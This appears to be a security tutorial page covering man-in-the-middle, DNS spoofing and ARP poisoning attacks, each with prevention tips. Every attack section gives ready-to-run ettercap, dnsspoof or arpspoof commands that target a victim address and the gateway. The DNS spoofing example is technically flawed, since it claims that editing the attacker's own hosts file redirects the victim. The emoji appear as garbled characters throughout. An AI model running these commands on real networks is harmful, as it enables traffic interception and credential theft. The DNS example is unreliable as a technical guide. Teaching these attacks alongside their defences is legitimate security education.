Skip to content

Network Attacks

πŸ”₯ Network Attacks & Prevention with Implementation πŸš€

Network attacks exploit vulnerabilities in communication protocols to intercept, manipulate, or disrupt data. Below are some common attacks and how to implement/detect them.


1️⃣ Man-in-the-Middle (MitM) Attack πŸ΄β€β˜ οΈ

How It Works?

An attacker secretly intercepts communication between two parties to steal or alter data.

βœ… Example Attack: Using ettercap to perform an HTTPS MitM attack on a local network.

πŸ”΄ Attack Implementation (Linux)

# Enable IP forwarding (necessary for packet interception)
echo 1 > /proc/sys/net/ipv4/ip_forward

# Launch Ettercap to perform MitM attack
ettercap -T -q -i eth0 -M arp:remote /192.168.1.1/ /192.168.1.100/

πŸ”Ή This forces victim (192.168.1.100) to send traffic through the attacker's machine.

πŸ›‘οΈ Prevention

βœ” Avoid public Wi-Fi or use a VPN.
βœ” Enable HTTPS & TLS encryption (Check for πŸ”’ icon in URLs).
βœ” Use Multi-Factor Authentication (MFA).
βœ” Use HSTS (HTTP Strict Transport Security) to prevent HTTPS downgrade attacks.


2️⃣ DNS Spoofing (DNS Cache Poisoning) 🌐

How It Works?

Attackers modify DNS records to redirect users to fake websites and steal credentials.

βœ… Example Attack: Using dnsspoof to redirect a victim’s request to a malicious site.

πŸ”΄ Attack Implementation (Linux)

# Edit hosts file to fake a website (e.g., redirect google.com)
echo "192.168.1.200 google.com" >> /etc/hosts

# Run dnsspoof to poison DNS cache on the network
dnsspoof -i eth0

πŸ”Ή When the victim types google.com, they are redirected to 192.168.1.200 (malicious site).

πŸ›‘οΈ Prevention

βœ” Use DNSSEC (DNS Security Extensions) to verify DNS responses.
βœ” Flush DNS cache regularly (sudo systemd-resolve --flush-caches).
βœ” Use trusted DNS providers (Google DNS: 8.8.8.8, Cloudflare DNS: 1.1.1.1).


3️⃣ ARP Poisoning (Address Resolution Protocol Spoofing) πŸ“‘

How It Works?

Attackers manipulate ARP tables to link their MAC address with a victim’s IP, allowing them to intercept or modify traffic.

βœ… Example Attack: Using arpspoof to redirect traffic through the attacker's machine.

πŸ”΄ Attack Implementation (Linux)

# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward

# Poison ARP cache of target 192.168.1.100 by making it think we are the router (192.168.1.1)
arpspoof -i eth0 -t 192.168.1.100 -r 192.168.1.1

πŸ”Ή Now all traffic from 192.168.1.100 is routed through the attacker's machine.

πŸ›‘οΈ Prevention

βœ” Use static ARP entries for critical devices (arp -s <IP> <MAC>).
βœ” Implement ARP Spoofing Detection tools like Arpwatch.
βœ” Enable Port Security & Dynamic ARP Inspection (DAI) in network switches.


πŸš€ Final Thoughts

These attacks show how easily network security can be compromised. The best defense is encryption, strong authentication, and continuous monitoring.

Would you like a script to detect and prevent ARP poisoning automatically? πŸš€